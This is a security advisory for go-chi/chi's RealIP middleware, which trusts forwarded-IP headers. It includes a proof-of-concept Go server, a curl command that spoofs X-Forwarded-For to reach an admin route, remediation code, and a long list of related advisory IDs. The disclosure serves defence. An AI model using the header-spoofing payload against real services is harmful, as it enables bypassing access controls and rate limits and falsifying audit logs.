GHSA-rjr7-jggh-pgcp
ADVISORY - githubSummary
Summary
realip middleware in go-chi/chi trusts headers like x-forwarded-for without checking them, so attackers can fake their ip and bypass rate limits or access controls
Details
the vuln is in middleware/realip.go , the realIP() function pulls IPs straight from client headers and replaces r.RemoteAddr without checking if the request came from a trusted proxy
func realIP(r *http.Request) string {
var ip string
if tcip := r.Header.Get(trueClientIP); tcip != "" {
ip = tcip // controlled by attacker
} else if xrip := r.Header.Get(xRealIP); xrip != "" {
ip = xrip // controlled by attacker
} else if xff := r.Header.Get(xForwardedFor); xff != "" {
ip, _, _ = strings.Cut(xff, ",") // controlled by attacker
}
// ...
return ip
}
no trusted proxy cidr check in place, any client can send these headers
PoC
create a server with chi and use realip middleware
package main
import (
"fmt"
"net/http"
"github.com/go-chi/chi/v5"
"github.com/go-chi/chi/v5/middleware"
)
func main() {
r := chi.NewRouter()
r.Use(middleware.RealIP)
r.Get("/admin", func(w http.ResponseWriter, r *http.Request) {
// ip-based access control got bypassed
if r.RemoteAddr == "127.0.0.1" {
w.Write([]byte("SECRET ADMIN DATA"))
return
}
http.Error(w, "Forbidden", 403)
})
http.ListenAndServe(":8080", r)
}
spoofed the ip to bypass access control
curl -H "X-Forwarded-For: 127.0.0.1" http://localhost:8080/admin
Impact
- ip-based access control bypass lets attackers reach restricted endpoints
- rate limiting bypass lets attackers avoid limits by rotating spoofed ips
- audit logs show fake ips picked by attacker instead of real ones
- attackers can get around geo ip restrictions
Remediation Recommendation
validate proxy cidr first before trusting forwarded ip headers
// add your reverse proxy ip addresses here
var trustedProxies = []net.IPNet{
{IP: net.ParseIP("10.0.0.0"), Mask: net.CIDRMask(8, 32)},
{IP: net.ParseIP("172.16.0.0"), Mask: net.CIDRMask(12, 32)},
{IP: net.ParseIP("192.168.0.0"), Mask: net.CIDRMask(16, 32)},
}
func isTrustedProxy(ip net.IP) bool {
for _, cidr := range trustedProxies {
if cidr.Contains(ip) {
return true
}
}
return false
}
GitHub
CVSS SCORE
7.7highGoLang
-
Chainguard
CGA-3x7g-jp4q-h9fr
-
minimos
MINI-23c8-j6rf-8pj9
-
minimos
MINI-2974-5f45-h5h3
-
minimos
MINI-2mw4-q48f-xw9m
-
minimos
MINI-2pff-qcwv-3q8v
-
minimos
MINI-2q99-cmm7-r8j8
-
minimos
MINI-34qj-r942-rwr6
-
minimos
MINI-3mxr-j99v-333j
-
minimos
MINI-3q4w-r8g4-q63g
-
minimos
MINI-438q-xf9g-m2xf
-
minimos
MINI-4fxg-77w6-f57c
-
minimos
MINI-5f3x-jr3g-73qj
-
minimos
MINI-5mvv-92p4-25qp
-
minimos
MINI-5qqg-f2m8-whpc
-
minimos
MINI-5rg3-x6qg-qgvw
-
minimos
MINI-5wm6-8wfh-jj6r
-
minimos
MINI-64jj-7jw8-9x3m
-
minimos
MINI-6fxf-78g6-3wf6
-
minimos
MINI-6wh8-4j9g-wrx7
-
minimos
MINI-7354-2gfc-w5hg
-
minimos
MINI-7g4j-4f9g-hmfj
-
minimos
MINI-92pv-4qv5-xmj9
-
minimos
MINI-9579-32wj-q3c9
-
minimos
MINI-99hc-8fcp-9hf4
-
minimos
MINI-cc9x-2qxw-w5q8
-
minimos
MINI-cfvv-ph5j-mrv8
-
minimos
MINI-f4v2-fx9f-qf5m
-
minimos
MINI-fch2-mwp4-x69f
-
minimos
MINI-frx3-5jwr-g7x6
-
minimos
MINI-g2w3-5vmf-h3q5
-
minimos
MINI-g5fp-jw8v-wv5m
-
minimos
MINI-gmmq-hmwr-cvhw
-
minimos
MINI-gmwg-f3q4-h362
-
minimos
MINI-gvf6-c4c5-x673
-
minimos
MINI-h6j2-vvhf-pcmm
-
minimos
MINI-h8wh-x7gj-w89p
-
minimos
MINI-hq39-2vwf-mrgr
-
minimos
MINI-hrvg-r88m-wgwc
-
minimos
MINI-j5q4-64gm-vh2x
-
minimos
MINI-jqhg-q3g2-9crj
-
minimos
MINI-jvgh-r54f-62jp
-
minimos
MINI-m2cc-3hm7-p8cg
-
minimos
MINI-m4mj-fghv-3ffv
-
minimos
MINI-m5wh-8hx9-256g
-
minimos
MINI-m95f-xx96-p83r
-
minimos
MINI-mc6c-8j38-4cg8
-
minimos
MINI-mc6q-436j-79m7
-
minimos
MINI-mcp7-vhqv-gqwg
-
minimos
MINI-p57q-j4v4-2rjc
-
minimos
MINI-pm9h-q7q4-2v92
-
minimos
MINI-prm7-v7x4-x54w
-
minimos
MINI-pv4q-64vc-4r82
-
minimos
MINI-q4m2-9xhc-5px2
-
minimos
MINI-qc8p-p93f-m553
-
minimos
MINI-qhc4-qcxv-hf4c
-
minimos
MINI-qppf-3pq3-jm5h
-
minimos
MINI-qq7g-284v-rg9h
-
minimos
MINI-r3m7-4cp8-vmjh
-
minimos
MINI-r59r-5h88-f94m
-
minimos
MINI-rf36-mmpg-3pvx
-
minimos
MINI-rmv5-h5wh-jc3c
-
minimos
MINI-v25h-2jg3-6pxm
-
minimos
MINI-v34x-f8xr-gfvx
-
minimos
MINI-v5vp-9j34-743p
-
minimos
MINI-v7hq-h6wq-rw85
-
minimos
MINI-v7ph-q75r-r779
-
minimos
MINI-v83v-2mmj-crr2
-
minimos
MINI-vf59-f96w-vf6c
-
minimos
MINI-vj7p-fmhc-vf52
-
minimos
MINI-vqw3-3jj7-hvc8
-
minimos
MINI-wcp3-fwjx-42jj
-
minimos
MINI-wfcw-5xcw-xh5w
-
minimos
MINI-whvg-4g7r-f7j8
-
minimos
MINI-wp65-c5wf-76xr
-
minimos
MINI-wphx-h8q6-84xr
-
minimos
MINI-wq64-cmcc-hhm2
-
minimos
MINI-wrq7-pp5q-qc68
-
minimos
MINI-wx75-4hhv-5f66
-
minimos
MINI-wxp9-j4pg-mw27
-
minimos
MINI-x274-w9p4-9vf3
-
minimos
MINI-x5p4-v853-763c
-
minimos
MINI-x9r9-9prw-5jwp
-
minimos
MINI-xp44-fw39-w64r
-
minimos
MINI-xw7c-f2wq-mgg4
-
minimos
MINI-xx34-7wrf-9pjp
-